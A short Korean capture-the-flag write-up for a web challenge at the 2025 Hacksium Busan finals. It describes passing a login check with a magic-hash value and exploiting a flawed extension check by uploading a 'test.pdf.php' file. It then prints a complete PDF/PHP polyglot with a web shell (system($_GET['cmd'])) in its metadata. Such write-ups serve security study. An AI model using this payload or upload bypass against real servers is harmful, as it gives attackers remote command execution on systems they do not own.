[2025 Hacksium Busan 본선] 해양 기상 보고 센터
[2025 Hacksium Busan 본선] 해양 기상 보고 센터
카테고리
Web
문제 분석 및 풀이
처음 접속하면 인증 코드를 입력해야 하는데, 웹 페이지의 주석을 보면 인증 코드의 sha256 해시 값이 적혀 있다.
이를 구글에 검색해보면 magic hash table에 등록되어 있는 값이므로, 이를 이용하면 인증 코드를 통과할 수 있다.
이후 pdf 파일을 업로드할 수 있는데, pdf 구조에 대한 검사와 확장자에 대한 검사가 수행된다.
하지만, 확장자에 대한 검사에 오류가 있어, “test.pdf.php”와 같은 파일을 업로드하면 확장자 검사가 “test.pdf”까지만 이루어지므로 검증을 통과하고 php 파일을 업로드할 수 있다.
php 구조에 대한 검사도 통과해야 하므로, pdf 구조를 만족하면서 php 웹쉘 기능을 하는 파일을 만들어 업로드하면 된다.
업로드에는 아래와 같은 파일을 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
%PDF-1.7
%âãÏÓ
1 0 obj
<< /Type /Page >>
endobj
2 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [2 0 R /FitH null]
/PageLayout /OneColumn
/Metadata <<
/Title (<?php system($_GET['cmd']); ?>)
>>
>>
endobj
xref
0 3
0000000000 65535 f
0000000018 00000 n
0000000063 00000 n
trailer
<<
/Size 3
/Root 2 0 R
>>
startxref
183
%%EOF
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.